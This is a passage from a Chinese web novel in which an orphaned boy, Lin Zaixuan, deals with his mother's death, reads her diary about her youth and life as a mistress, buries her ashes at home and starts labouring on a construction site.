己的同伴:“13床是谁送来的?快去找童主任!” 一个高大的带着眼镜的男医生听到这边的骚乱,走了来,“放开他吧,”用手挥开两位护士,来到载轩面前,“去哪儿?” “我去看看她。”载轩很无力地,面无表情地回答。失去了束缚的他,绕过医生,扶着墙继续往前走。 “去叫肾内科的王文景主任。”医生一手扶着眼镜,很无奈地对护士说。 凌晨他晕倒后,ICU的医生护士手忙脚乱地把他送到急诊室,同时,医生办公室那位老医生给自己的同事、林芳清的主治大夫王文景打去了电话:“你办的好事!一个麻烦还不够,她的儿子刚刚回来了,晕了,你去急诊室吧。” 王主任不当班,但宋医生正好值班,王主任只好让宋医生先去看看怎么回事。下午林芳清呼吸衰竭了,伴随着心脏衰竭,恐怕已经无回天之力了。王主任和好几个科室的专家进行了联合会诊,觉得抢救已经没多大意义,但本着尊重家属的意愿,找了载轩好久。电话没有人接听,人也找不到,欠费也好久了,尽管科室给做了担保,但这样不停欠费下去,科室里大多人已经对林芳清母子两个的厌恶多于同情了。因为欠下的医药费,林载轩还不清的话,就要拿科室里所有人的奖金绩效来补。看到林载轩他们的家庭情况和这个孩子坚持治疗、不放弃的精神,他们之前都已经为林芳清捐过一次善款,但任何人的爱心都是有限度的。王主任本人也很难做,之前就林芳清他们的情况仔仔细细地问过林载轩,“真的没有别的亲人了吗?有没有什么朋友之类的?”载轩想到过妈妈的亲叔叔林二安,但通过妈妈讲到的那位叔叔的人品,可能钱借不到,还要跑到医院来讹钱吧。载轩只好摇摇头。王主任明明知道载轩一个孩子是没有能力补上这么大的一个漏洞的,但看到他为了母亲不停地想办法去弄钱的样子,又真的不忍心;面对科室里其他的同事,他曾为了林芳清母子就组织过大家捐善款,他自己也掏出了一千块做表率,可谁家不要生活呢,这样的病人还有很多很多,帮不完帮不过来的。 林芳清之前在清醒时和王主任谈过,如果自己真的到了不能清醒地决定生死时,不要全听儿子的,至少,至少不要插管。林芳清印象深刻地记得,林大安在死前那双乞求的双眼,可他的亲叔叔却要大夫插管,做最后的尝试,林大安的胸腔被切开,可还是经过几个小时的折磨脑死亡了。 王主任决定替载轩做最后的决定,撤掉了林芳清的呼吸机。 林芳清没有最后的回光返照,在经历了几分钟的艰难呼吸后,紧蹙的双眉舒展了,面部放松下来,一点点归于平静。然后被盖着白床单推出了ICU病房,去了地下二层——太平间。 当然,林芳清在进ICU前的前一个下午,精神分外的好,那就已经是她在死亡前留给儿子的回光返照了。她隔着氧气罩,看着儿子打来热水擦脚擦身,一寸一寸地轻抚过她的肌肤,留在她心里的是儿子满满的爱意。她用吐气不匀的模糊的声音,问:“囝仔,你吃过没有?怎么那样瘦?”载轩微微笑着回答:“我中午吃的菜和馒头,放心吧,我能照顾好自己,也会照顾好你。” “嗯,你要照顾好自己。”林芳清点着头,很欣慰地,含了一滴没有掉落的泪,把它咽回到肚子里去。 可是那天载轩什么也没有吃,晚上饿得发慌,看到医院走廊的垃圾桶里有一个塑料袋装着的完好的馒头,趁没有人看到,捡了出来,拿到水房冲洗掉塑料袋外的汤汁,就着热水把馒头吃掉了。 宋阳医生到了急诊室,和急诊室大夫给载轩做治疗。剥掉他湿透了外衣时发现,他身上有一道道红红紫紫的伤痕,还有一些擦伤和旧伤,倒都是一些软组织挫伤,淋 12. 妈妈的日记 一 《千千杯酒不醉人》全本免费阅读 9月24日 星期二 八月十七 晴 刚刚过完中秋节,好想小弟,不知道爸妈他们十五买肉吃了没有。这次爸在来之前给我拿了多多的粮票,还把肉票塞给了我,别他们中秋都没有肉吃。上学一年多了,每次寒暑假回去,爸都什么都不让我,说“闺女好容易回来一回,好好地在家玩玩。”我好久不在家里,小弟把我原来的活都抢了过去,这样的偏爱让我心里很难过。别人家的闺女都早早出去做活挣钱了,我却还要爸爸供我读书。爸坚持把我送到这么远的地方上学,我知道是为我好,可也让我很有压力,在这都是卧龙凤雏的地方,我真怕自己辜负爸妈的期盼。为了贴补家用,我暑假里特意跟妈学了纳鞋垫,妈箱子里的那些花样子我都描了来,希望能减轻爸妈一点负担吧。我一定好好学习,好好学。 10月2日 星期三 八月廿五 雨 昨天我代表我们班参加了国庆节的庆祝活动,做的举旗手呢,爸妈要是知道了一定很高兴。我们同宿舍八个人都在秧歌队里,昨天个个化了眉毛,涂了红嘴唇,用红绸子扎的麻花辫,顶数杨妮妮最漂亮,我也特别喜欢她。晚上熄了灯,我还是要跟她头对头叽咕一会儿子呢!当然我不喜欢杨姣,她是河南本地的,仗着自己爸爸是医生,家庭条件好,老是奚落我们这些外地女孩儿。她们河南人就喜欢说“恁啊恁啊”,口音还真是挺搞笑的。不过哪个地方的没有口音呢,我一开始都不敢在班里大声说话,不过上了两个学期的小学语文教学理论,我们的普通话都好多了呢。吴老师说话温柔,普通话也标准,好喜欢她的课,可不像数学任老师,嗓门子那么粗,一不顺心就要骂人了。 10月14日 星期一 九月初七 晴 好喜欢他。 10月17日 星期四 九月初十 晴 今天又在食堂打饭时遇到他了,真好。能远远地看见他,心里就很高兴。自从上次,因为“宿舍臭袜子事件”他给我帮腔,就感觉他真的是一个很温暖的人呢! 以前,爸就告诉我,以后找男人一定得找个自己喜欢的,心疼自己的。想想,爸就是个特别好的男人。同样是男人,爸能伺候爷爷到那种程度,擦屎倒尿的,二叔呢,一轮到他家伺候的时候捏着鼻子,恨不得躲到地窖里去,就让二婶一个人忙前忙后的,稍不顺心还打二婶,爸连妈一个指头都不曾动过呢。如果他是像爸一样的男人该多好啊,那我就像星星绕着月亮那样,环绕着他,给他作伴。 10月31日 星期四 九月廿四 晴,风大 他是喜欢杨妮妮吗?这几天天天看到他下了课跑到我们这边来,借口找妮妮借东西,还会帮着妮妮去画板报。难不成上次帮腔是为了妮妮吗?也是,他们两个人都被选去了学校广播站,有更多话题吧。原来在我们安南那儿,我就算个出彩的了。来到荥州,才发现这里汇集了好多有才华的女子和男生,我夹杂在这里面并不是个很突出的学生。幸好音乐老师吴华说我有点子音乐天赋,要我跟她学钢琴,大多数同学都选了别的声乐老师,这个年老的遭受过□□重创的老师反而没有人选。但吴老师看起来严 13. 妈妈的日记 二 《千千杯酒不醉人》全本免费阅读 11月21日 星期四 十月十四 小雪 我很委屈,不知道杨姣和妮妮说了什么了,妮妮今天那样对我,我们相处一年多来,一直是要好的朋友,今天她却骂我是“狐狸精”。我不过是和他一起去了趟任老师办公室,帮着做事,就为了这点子事来骂我吗?我们的友谊就这么不堪一击吗?为了一个臭男人,用得着在宿舍翻脸,让大家都来看笑话的吗?知人知面不知心吧,杨姣那个人坏死了,怎么能在妮妮面前嚼那样的舌根呢!好气好气! 11月26日 星期二 十月廿一 晴冷 我和妮妮之间横亘着一个他,这个他朝秦暮楚,今天喜欢这个,明天喜欢那个,跟谁都暧昧,跟谁都是一副一样好的架势,就好像是我和妮妮之间出现的一座冰山,愈来愈大,愈来愈冰冷。妮妮已经彻底不理我了,我只好每天跟上铺的晓雪一起打饭、上课,晓雪是个书呆子,除了学习以外的事,其他都不关心。我有了心事,也只能自己想一想,如果是以前,妮妮在旁边一定会和我敞开来好好谈谈。回了宿舍,妮妮也只是跟杨姣他们几个好得不得了,我一插嘴,大家就都不说话了。难道真的是我做错了吗? 12月7日 星期天 节气大雪 冷 往往每年到了这个时候妈妈都会包一顿白菜猪肉饺子,妈说了:“大雪到,天愈寒,吃饺子,暖一年。”可是已经两年了没有吃到妈的饺子,妈他们不知道絮了新棉衣没有,我们那里要比河南冷一些,一到严冬,寒风跟刀子一样硬。可是很欣慰的是,他居然从家里带了一饭盒饺子给我,他却记得我说过的话。一面是妮妮,一面是他,我处在中间左右为难,不过看今天他喊我下来的时候,杨姣她们那么嫉妒的脸色,我就有一种报复的快意! 2月14日 情人节 妈和小弟走了两个多月了,从上次二叔打电话来学校告诉我们班主任任老师后,我回家两个多月没有记日记。我不知道这次该怎么记录我的心情,怎么也不会想到妈和小弟竟能在安睡中去世,也不会想到自爷爷去世后第二场葬礼便是给妈和小弟。最后一次见他们,还是暑假里,我带着小弟去地里拔草、翻地,他跟在我屁股后头,我走一段,他跟一段,把我没有没有翻好的地方再用锄头翻一遍。我一回头他笑得那么可爱,两腮红红的,像树上的柿子一般逗人喜爱。现在他们娘俩都躺在了跟爷爷一样的木头棺材里,躺在冰冷的地下。以后我再也没有妈了,也没有顶门立户的小弟了。往后只有我和爸两个相依为命了,我这一走,还不知道爸爸在家里怎么熬呢,我说要带他也来,他却不要,怕影响我学习。可是他自己在家我怎么放心呢? 今天接到了他写的第一封情书,字是那么飘逸潇洒,跟他的人一样。这次开学,宿舍里以前的好姐妹都不大理我了,原来我还以为她们会安慰安慰我。我知道是因为我请假回家后,他就立刻疏远了我们宿舍的缘故,尤其是妮妮,变化好大,虽然上学期我们的关系已经降到了冰点,但她还是会做好舍长应该做的。这次我回来,主动和她打招呼,她却那么讽刺我,说我克死了自己的母亲。她都变成了我不认识的杨妮妮了。而且她以前穿衣打扮那么清纯素雅,这次见了有股说不出的怪异,精致的小辫,似有似无的那么一种香气。实话说我也很羡慕她们几个家境好的,可以时常添置一件新衣服,还有摸脸油那么香喷喷的。现在粮票也没有了,爸以后更难了,我也得靠自己去挣些生活费,不能都依赖家里了。 3月28日 晴好 我们在一起了,这是我19岁最好的礼物!他给我写了那么多封肉麻麻的情书,每一封里都写着对我的理解和关心,每一封里都是我从来没有看到过的美好憧憬。我其实蛮感谢他的,在这段很落寞的日子里,他没有疯狂地来找我,好让宿舍妮妮她们几个不再那么针锋相对;也没有在班里刻意与我亲近 14. 妈妈的日记 三 《千千杯酒不醉人》全本免费阅读 12月20日 母亲小弟忌日 妈,你和小弟在那边好吗?我这几天常常梦到你们,好像还是原来的样子,妈头上包着一块枣红色格子围巾,坐在爸的三轮车后边,跟爸去卖豆子,小弟呢,小脸圆融可爱,一笑起来右边露出个甜甜的酒窝。梦一醒来,我的脸上总有清亮亮的泪痕,好想你们。 他对我很好,在这半年里,他一直陪着我,在我伤心难过的时候给我打气加油。虽说很庆幸遇到他,很庆幸他选择了我,但是我有时会想,因为他,我失去了最好的朋友,宿舍里的姐妹们也不再融洽,值得吗?我在班里已经没了最要好的伙伴,大多数的情况我都是选择一个人打饭、去上课,在别人都二三同行的年纪,我一个人承受着他人无端的指责和误会,值得吗? 4月22日 闰三月初一 星期四 晴 爸还是那样,毫无起色,有时候闹酒闹得凶了,二叔会去劝他一把,但父亲软瘫在地上,犹如一滩烂泥,任谁都扶不上墙。我回去一个月,他几乎天天醉不成样子,家里的窗户被他砸破了好大一个窟窿,我用勤工俭学的钱找人换上了玻璃窗子,但又能坚持几天呢?我跪下来求他,求他不要再喝下去了,他说什么:“要你管啊!你老子娘都管不了我,你个丫头能做什么?”是啊,他的儿子走了,他就再没有了指望,刻在中国人骨子里的重男轻女是轻易抹不掉的。以前一直觉得他对我和小弟一样好,可现在我才知道,他是希望我好好读书,以后来供弟弟,给弟弟买房子娶媳妇,以后一直做弟弟的钱袋子。现在小弟不在了,我就毫无用处了对吗? 他,我还喜欢他吗?他没有再顾忌我的感受,又开始和杨妮妮她们聊天了,以前他为了我,刻意疏远她们,而现在,无论是探讨话剧表演还是校操演示,他们都可以聊得那么开心;甚至他还把我们的事讲给他宿舍里的人听,那些坏小子们背后对着我指指点点,他竟也可以坐视不理。是人一旦得到,就不会再珍惜了吗?原来世上真的有,求而不得、舍而不能和得而不惜是最悲哀的。 10月16日 星期六 晴 终于决定和他分手了,爱了他那么久,什么都给了他,什么都迁就他,最终就换来了他的恶语相向。男人啊,不再爱下去了,还是会伤害对方。是所有的男人都这样的吗?我不知道,但生命里出现的这两个男人,确实如此:父亲么,以前我是小弟的基石和未来,就把我放在手心里疼爱,结果呢,小弟死了,就露出真面目来,现在开始逼我回去相亲嫁人了。这两年来我读书的钱不用他出,都是自己挣来的,还得省吃俭用留些钱带回去,他倒好,一言不合就动起手来。天天喝得烂醉,哪一点叫我瞧得上!他呢,很好,之前情书一封一封,嘴里像抹了蜜似的哄我开心,一旦得手,就骂起我“贱货”来,还大肆宣扬我的床上功夫了得,很好,真是男人的嘴,骗人的鬼!两个骗子! 2月25日 正月十六 冷 再有一年就毕业了,父亲却得了尿毒症。可笑吗?我终于要在这个地方立根发芽了,父亲却要我回去,回去给他治病,可笑吧?自己好不容易可以展开未来的画卷,开启新的人生了,老天却跟我开这样的玩笑。 我才不要认命! 林二安居然说,我嫁给村长的儿子郝毛毛,就能拿到一万块钱给我爸治病,想钱想疯了吧!我是货物吗,说卖就卖掉。什么疼爱我,不想我在原来那么穷的地方被人糟蹋,现在倒是父亲和二叔联合起来要把我卖掉给人糟蹋了。临走前,我很不客气地告诉他们了, 15. 妈妈的日记 四 《千千杯酒不醉人》全本免费阅读 10月1日 星期六 晴 回想到三年前我们宿舍八个人在红旗广场上代表学校参加秧歌舞表演,那天我们穿着统一的学生校服,发辫上系着红绸子,描了眉涂了唇,那么得色那么活力绽放的样子,一幕幕仿佛就在昨天。这三年来,发生了许许多多的事,我的初恋情事,我和朋友友谊破裂,我兼职赚钱养家,教师考证,钢琴考级,努力学习通过每一门考试······其中憾事颇多,好多好想重新来过,但没有后悔的机会,这算不算也是人生遗憾呢?现在我和学校、学校里的人要分别了,去往市立小学实习,大概率以后也会分配到那里。杨妮妮学习好,参加的活动也多,又是学生会、班里的干部,直接回到了她的家乡开封市一中,杨姣也分到了荥州二中,其他人都各自分散开,像蒲公英一样飞舞到各个地方的学校去了,去书写自己的精彩和青春。临别前,我没有和杨妮妮她们说再见,悄悄地一个人搬走了行李,我想:她们也不会想和我说再见的吧! 市立小学是个很偏远的地方呢!这里位于荥水南岸,以前我们一直在北岸活动,从来没有来过这片区域。程建知道我要搬行李到学校分的宿舍里去,派了一个司机来帮我搬东西,来到这个地方才发现,离的不远处竟然就是他的厂子,太巧了一点是吗!但作为那个为人不齿的情妇,我奉献我的□□,并心安理得地拿着他给的钱,用于应付我的二叔他们,给我爸治病,但我并不想让更多人知道。我只是希望,能尽量长时间地维持这样的地下关系,不去破坏他的家庭,不让学校里的人知道我是这样的人。但离得这样近,真的很让我担心呢!司机师傅临走前还朝我很嘲弄地笑了笑,我猜他也有些鄙视,我一个长相清秀的老师会像一个□□一样上赶着去做别人的情妇吧! 5月14日 星期二 晴 今天学校统一给我们这批新进来的老师办理转正手续了。我和同宿舍的李佳一,还有体育老师王东学,我们三个人现在正式成为了市立小学的老师啦!这确实是一件可喜可贺的事,我完成了我父亲的心愿,可惜心愿达成,物是人非!我一直没有回去过安南,听说二叔带父亲去了西安交大附属医院,那里的大夫说,要想治好我父亲的病,除非换肾。后来就不断打电话要钱,说是给我爸做透析的,可我要电话里跟我爸通几句话,我爸都不肯,电话这端都听得到他的骂骂咧咧。二叔一个劲儿地要钱,得亏程建也够大方,我除掉生活费都寄给了二叔他们。但愿父亲能好起来! 过了年程建在学校后面的甲子集村买了一处小院子,跟我们家以前的院子差不多大,听说我爸现在因为喝酒,脑子也不甚清楚,二叔家新修了房子,给我爸留了一间南房住,而我们家已经被二叔他们占去,准备拆掉盖新屋,给我堂哥娶媳妇用了。程建很用心地把那处院子修葺了一番,屋里新贴了瓷砖,买了新家具,一进去亮亮堂堂的,虽然只有两间屋子,可里面干净整洁得让我眼前一亮,我很喜欢。能被人如此放在心上疼惜,我也很知足了。我在小院里还种了大叶芭蕉和木槿花,我喜欢那些绿色的勃然生机的植物,他们带给我生的渴望和憧憬!尤其是木槿花,一天一开,花朵生命虽短却绽放得那么绚丽灿烂。程建夸我,院子里收拾得井井有条,不像他的婆姨,一天天地就会花钱、打麻将,近期还迷上了美容,扯面皮拉眉毛做指甲。我对这话不予置否,我知道什么话不该说,什么不该过问。对于他的家庭我从不过问,现在这样就够了。但我知道,程建不是好人。眼前的欢爱能持续多久,我没有底气,他这个人爱你时热烈奔放,但不爱时也会毫不留情。我听司机吴大胜说过,之前有个女人缠上他,也轰轰烈烈过一阵子,但怀了他的种,要挟他离婚,结果半夜里被装到麻袋里打个半死,灌下了堕胎药,差点丢了命。程建顶讨厌别人威胁、硬着来,尚不触到他的根本利益还好,一旦触到逆鳞,他是那种心硬手狠的人,不会顾及以往的情面的。或者说,任何跟他的情分抵不过他的尊严权威。 9月20日 八月廿六 星期三 晴 程建第一次陪我过生日,在一起两年多了,他很宠我,今天我特别高兴。他要出去吃,我不爱招惹是非,他便让建国大酒店送来一桌酒席,桌上二十吋的大蛋糕,上面齐齐插了23根蜡烛,屋子里被一片暖融融的烛光映得分外明亮温馨。这间小小的爱巢,饱含了我对程建的一片崇仰和爱慕,也深化了我和他之间不可告人的情愫,这种暗度陈仓的苟合让我们俩都激情四射、难以自抑,程建破天荒的在我这里度过了整晚。我想:如果这个男人真的属于我,那就是神开了眼,赐给我的新生。 11月23日 星期四 雪 按西方的节日来算今天是感恩节。但今天是我有史以来最颜面尽失、最凄惨的一天,被人家找到学校,当着那么多孩子、那么多老师领导的面,被辱骂被揪着头发打。我摸着脸上红肿的巴掌印,恨不能钻到地底下去。这算是公开我是情妇、我是不要脸的小三的事实了,以后我还怎么上班,怎么在学生面前讲课呢,一个□□岂不是丢了整个市立小学的脸?今天还把自来水公司的职工都吸引了来,一传十十传百,怕是不多久村里的人也都知道了,我就是那个程建包养的大学生,那个不要脸的贱货。可是,今天我不回这里来,去哪儿呢?宿舍已然是回不去了,今天也不是校长书记他们拉着,怕是成美兰那只母老虎就要扒了我的皮、吃了我的肉了,再回学校,那就是公然的往学校门牌上抹屎了。 11月24日 星期五 这算是什么呢?逃回了小院,又被人家追到小院,窗户、门、家具砸个稀烂不说,又被狠打了一顿,要不是吴大胜拦着,就要被拍裸照发到全世界了。原 16. 锁心 一 《千千杯酒不醉人》全本免费阅读 一 林载轩抱着母亲的骨灰坛从马鸣山殡仪馆出来乘上了107路公交车,他坐在最后一排的角落里,两眼无神,茫然地看着窗外倒退的风景。怀里那个用灰白色方布包着的那个酱黑色大肚圆坛,承载了她母亲林芳清罪孽而又无奈的一生,留给了这个十四岁少年一身的债务和孤寂迷蒙的未来。载轩没有地方去放母亲的骨灰,墓地是买不起的,而安南,母亲的故乡,母亲是再三强调过不要回去的。他只能把她带回家去。 在医院里输了三天的液,他的高烧才慢慢退下去,到第四天护士来催缴费用时,载轩很识相地要求童主任给他开出院单。他确实是身上一分钱都拿不出来的了,再去逼他,恐怕他只有一死了之了。肾内科的人早就和外科说过他的情况,童主任也想他再观察观察,但肾内科里对林芳清母子的言论使得他不得不思考,载轩的留下兴许会是个大麻烦。虽然那天宋阳医师把他带回到病房里,安顿他要好好治疗,他并没惹出什么麻烦,但他这三天里除了睡便是呆呆地睁着两眼看天花板,不由得不让人惊心。连护士都告诉同病房里的家属,帮他们盯着一些他,小心他又做出什么出格的事来。这三天里他除了输液外,不吃也不喝,同病房的人看他可怜,没有人去打饭来照顾他,便每次买回饭来,特意拨出一点来,递给他,谁知他既不接着,也不搭话,后来也就没人再去过问他。宋医生来看过他一次,默默地看了他几分钟,和童主任交谈几句后离开了。 巨大的空虚和孤独环绕着他。他很后悔,那个雷暴的雨天为什么去找那个狠心的男人,而不是守在母亲身边。如果他在医院,那还可以见到母亲的最后一面。最后一面,是林芳清这颗星落下去的瞬间,是载轩心里最后那点期冀,也是母子亲缘最刺心的落下帷幕。那块白布,应该是他给她盖上的,应该由他来盖上的,由他为母亲这不幸的一生来划上句号的。可他信了母亲日记里的只言片语,去找了自己的生父要钱,结果呢,钱没有要到,又空着手回到了原点,却错过了与母亲的最后一面。他甚至都觉得自己有点可笑。母亲的日记只写到1996年4月11日,之后发生了什么他不得而知,但他想,母亲一路走来的艰辛大抵只有那个养育了自己、把爱倾注给自己的母亲知道。母亲几乎一生都在受苦,谭阿姨说得没错,他这不是孝顺,他在她的身体承受了巨大痛苦时还在用尽心力使她煎熬下去,他是在折磨她,是在惩罚她。他想到这些,心就不由得发痛,仿佛是有个铁锤一锤一锤地凿他的胸口,而身上那些红红紫紫的伤跟心痛比起来就不算什么了。 他出院后,去太平间里联系医护人员要带走母亲,那个胖大的男医护告诉他必须要走正常的流程,让他去找大人来。他只是嗓子喑哑地低声回了一句:“她只有我一个亲人,我也只有她一个亲人。”男医护没有再说什么,只是让他把死亡证明拿来,他好盖章。载轩返回到肾内科找王主任。住院楼7层的肾内科医生办公室里,坐着几个男医生正在桌子边上写病历,不时聊一两句,但载轩出现在门口后,那几个男医生很明显地别过脸去,不出声了。脸色还在发白的载轩,腿脚还有些无力,刚刚路过的几位以前时常帮助关心他的护士姐姐也像没有看到他似的远远避开他了。他伸出右手去,敲了两下门问:“请问下王文景主任在吗?”里面一个男声语气很冲地回答:“长着两只眼睛没看到吗?”再就没有回应了。 载轩不知道,林芳清死了后,ICU和肾内科的人都找到院长那里去了,欠下的费用没人偿还,就要两个科室的人共同背负,而两个科室里的人都认为自己很无辜,又都不是百万富翁,没得就要给一个患者治了病又贴进去自己的奖金绩效。院长很头疼,叫去了王文景主任,问他怎么办,王主任也做了深刻的检讨,但问题还是要解决。王主任只好说,欠下的费用一半从他的科研项目资金里出,另一半扣他的奖金绩效好了。肾内科的人又过意不去,就申请其中一半从全科室下个月的工资里扣。王主任也是没办法,请了好几天的病假,躲在家里生闷气,而科室里的人见到载轩自然没有一个好脸色。 载轩碰了好几回壁,才打听到,死亡证明就是头一天在ICU办公室里签完字后才会打印出来给他。他又返回去ICU病区,去找之前那位年老的大夫,这次林芳清母子致使两个科室之间产生了一些不愉快,连那位年老的医生也让他等了好久才搭理他。他就那么孤单单站在办公室里,看着医生们谈病人的情况、治疗的措施和一些注意事项,不时有护士进来请示哪位医生哪个病人又怎样了,他像空气似的透明而无助。年老的医生拿出来那天让他签字的那张纸,他写下了自己的名字,在确认死亡那一栏填了“是”字。一张母亲的死亡证明单就递给了他,母亲那沉重的魂灵终于安放在了他粗糙枯枝似的的手掌上。 而拉到殡仪馆,还要灵车费和火化费,这两项也是一笔巨大的开支。他没得法。到医院外游离了好半天,从路这头走到路那头,每一步都像心在滴着血一般,紧着发疼。 他回到小区里,找到上次帮忙的王叔家门口。他的孩子曾在几年前让妈妈教过一两回琴,由于他的女儿不开窍,怎么威逼利诱都不肯再学,王叔也就作罢了。载轩就是那时候认识王叔是一个包工头的。他敲了门,有人从猫眼离看了一眼,便进里面去了。他再敲门,里面就传出一个女人不耐烦的声音来:“他不在。” 载轩就一直坐在门口下边的台阶上等着。 路来路过的男人、女人、放学的孩童,他每看到有人过来,便往墙边闪一下身子 17. 锁心 二 《千千杯酒不醉人》全本免费阅读 二 已经十二点多了。小区里蓬勃茂盛的树木们在阳光的炙烤下,蒸腾出氤氲的热气来,只有几棵大树用它伞一样的树冠倒映在地下一片片椭圆的、不规则边际的影子为行人遮阴。载轩低着头,小心翼翼地双手环抱着怀里的大肚圆坛子,走在那几棵大树的阴凉下,往家里,郑重地请回母亲的骨灰去。他一个人代替了一支送葬队伍,没有唢呐声,没有飘零的白纸钱,也没有穿着孝服的哀哭的人们,甚至没有花圈和挽联,只有他一个人代替了这些,在流火的六月天里,捧着自己跟母亲破碎的心回到那个空荡荡、寂静杂乱的家里。 他把母亲安放在母亲卧室大床前,原本放着那架母亲最喜爱的钢琴的地面上。又找来母亲以前拍过的一张黑白艺术照,剪掉了多余的边,把它安插在一个相框里,搁到那个酱黑色坛子的后头,让它紧靠着墙,不会滑下去。 家里没有香案。有的人家里每逢过年时总会把去世的亲人遗照供起来,香案前摆放着果品,燃着香烛,以示对先人的怀念和恭敬。母亲生前却从未在家里供奉过未曾谋面的去世的姥姥舅舅和凄惨死去的姥爷,载轩问过一次,母亲告诉他,只有活着的人才最紧要,而仙逝了的人是去享福,不必再拿尘世间这些规矩烦扰他们了。但每到清明、中元节,母亲就会去买了许多的元宝冥币来,仔仔细细地把它们包进三个封袋里去,那封袋是卖家赠送的,白色纸袋上用黑色的墨画了齐整的房屋、窗户,中间留出一块地方,好让祭奠烧纸的主人写上先人的姓名、坟茔位置和时间,好让那些亡灵在冥界也能收到亲人们的祝福和供养。然后等天完全黑下来,母亲会把载轩留在家里,给他播放好动画片,一个人拿着这些去给那三个可怜的亡魂烧纸。母亲去年清明时,第一次带了载轩,拿着那些元宝冥币在北水街和光明路的路口,用肥皂块在地下画了三个不封口的圆圈,接着将三个写好姓名的封袋放到圆圈里去,载轩站在一侧,静默地看着母亲恭恭敬敬地摆放好那些准备烧给不曾给过载轩什么美好记忆的亲人们的纸钱。母亲面向西北,蹲下去,用打火机点燃一张落单的冥币,再一一点燃那三堆鼓起来的花花绿绿、形似人民币的元宝冥币来。载轩也去寻了两根长树枝,蹲在母亲身旁,用树枝拨撩着那些熊熊燃着的纸钱,好让他们充分燃烧。红色的火光映得母亲两颧也发了红,载轩陡然看到母亲眼角也有那么几痕深深的皱纹,那时候的母亲脸上平静而淡漠,却出现了两道濡湿的泪痕来。载轩想:母亲也是思念他们的吧! 家里没有香烛,也没有果品,载轩出去到小区门外的土产店里也学着母亲买来了各式的元宝冥币和一把短香。回了家跪坐在母亲灵前,抽出三根短香把他们插在一个盛了半碗大米的小杯里,在封袋上写好母亲的姓名、去世时间,把那一袋子元宝纸钱抖散了堆在一个大搪瓷盆里,点燃了。他拿筷子不断拨撩着燃起了的纸币,看着它们一点一点燃烧殆尽化成黑色的灰。火燃起来的灼热逼得他后撤了两步,烟气呛得他不由得咳嗽起来。待那些火灭掉,自己脸上身上也都落了黑灰色的烟尘,他又跪了一阵子,才起来把烧黑的搪瓷盆拿到卫生间,用刷子用力地刷洗起来。刚才在进行这一系列的肃穆仪式时,他一滴眼泪都没有掉,他不知怎的哭不出来,好像脑袋、心里被抽掉空气成了真空一样。没有人教他,他却无师自通般学会了葬礼上那一套该做的。但在卫生间里刷洗盆子的时候,他的眼里却冒出许多泪来,一行行地往下流着,他也不去擦,任泪水肆涌着,仍卖力拿着钢丝球去擦洗盆子上烧黑的印记······ 出门时已经过了下午三点,他没有直奔荥水南岸的御河湾小区施工地。那是昨天王叔打了好几通电话拜托自己的老友得到的挣钱机会,王叔跟他交代得很清楚,只此一次,去了好好干活,还了债之后,以后不要再找他。 他先去了之前收他自行车的那家二手车行,找到老板。 “老板,我想买辆二手自行车,便宜一点的。” 老板看到是他,还以为是要赎回卖掉的那辆红色美瑞达,听到他这么说,指给他一辆女式小轮蓝色自行车,后座已经坏掉了,前面的车筐摇晃晃的,快掉下来的样子,车身的漆斑斑驳驳的,有些许锈迹,是一辆很久很破、不知道倒了几回手的车子了,“100块拿去用吧。” 老板顺势操起一把钳子来,走到车子跟前,把它抬出来,拧紧了车筐和车身连接处的螺丝,试着蹬了蹬,转转车把,拍了两下落灰了的车座,“喏,骑起来还是蛮好用的。你妈妈怎么样了?” 昨天跟王叔借的钱,现在也只剩下一百五十五块。他从中抽出那张崭新的一百元递给老板,低低地回答:“她已经走了。”跟老板还买了一个铁链锁,骑上出发了。 那处工地离得他家不算很远,过了光明路两个路口,右转进入荥水大街,直直通过前面的北环桥,再往前骑个两里地就到了一大片工地,这里正在盖好几个高层住宅。他打听到御河湾工地就是眼前最近的这个区域,他推着车给昨天王叔让他记下的电话拨去电话。电话嘟了几声后,挂掉了。他进入工地,里面正在施工的几栋楼同时开工,都只起了几层高,离封顶还远得很,几架高耸的塔吊不停转动,土方运输车卷起的尘土飞扬,戴着红色、桔色安全帽的工人们都在忙碌着,工地里不时传出轰隆隆的打桩机、水泥搅拌车的声音来。他又拨通了那个号码,这次响了几声后粗犷的男声伴随着轰隆的杂音传来,对方问:“你找谁?啊?” “我叫林载轩,是王叔叫我来找你的。” “啊,你说啥嘞?” 载轩只好提高音量捂上耳朵,又把刚才的话说了一遍。 然后从南侧的两层简易板房里跑出个灰头土脸的男人向载轩招手,要他过去。 他把车子锁在简易板房的一个铁窗档子上,跟着男人进到里面了。这两层简易板房就是那些外地打工的晚上住宿的地方,差不多上下 18. 锁心 三 《千千杯酒不醉人》全本免费阅读 三 小王带着他来到前面两栋在建楼中间空地上的混凝土搅拌车前,让他去卸水泥和沙子,活不算重,而且等土方车来的空隙还可以歇歇脚。但是忙起来也是真忙,一车的沙子水泥袋要很快卸完,一个上车往下传,一个在车下接,卸完一车,车子马上就要开走再去拉石料或者其他。载轩很识眼色,马上跑过去跟小王搭手,小王上车上面扛,递给站在车下的载轩,载轩背着把它们整整齐齐地垛好,再由负责加工水泥的一袋一袋地拆开,倒入搅拌车里。小王边干活边和他聊天,可他很少开口,不是“嗯”就是“哦”,小王自觉无趣,也不多说什么了。 载轩很卖力气地干着,尽管他这几天没有怎么吃,但他却像很有气力的样子背了一袋又一袋,中途几乎没有怎么歇,可他杂沓的脚步还是说明他在逞强罢了。 却是在逞强,刚卸完一车,他就累得气喘吁吁,两条小腿抖个不停,便坐在一垛整齐的水泥袋前垂了头缓着。小王走过来递给他自己的水杯,说:“喝口水,喘口气吧!看你的样子头一次干吧?” 载轩犹豫了一会儿,接过了那个红色杯盖的塑料水壶,大口大口喝了起来,直灌进去多半杯才满足地盖上盖子,然后轻轻摇了摇头,问到:“王哥,在哪里打水?我去给你续满。”他之前也背过沙袋,在荥水南岸的坝子上,可那点苦跟现在比起来又差了一截。 “就刚才那间屋子里,有个自动热水器。”小王用手一指,也一屁股坐在了阴凉处。 他站起身去简易板房那儿,刚一进门,看到老郭在打电话,他走进去看到窗户旁边立着一个一米五高的自动热水器,打开水龙头接水。水还没接完,就听到老郭粗犷的声音在背后腾地一下子钻进耳朵来,“哪个告诉你干活的时候可以接水的?休息时间,休息时间才可以!” 载轩吓得手一哆嗦,赶紧关掉水龙头,那水是十分滚烫的,好几滴落到他的手上,他都忘了擦掉。“知道了,我知道了。”他又急急忙忙地跑出去,生怕再被骂。 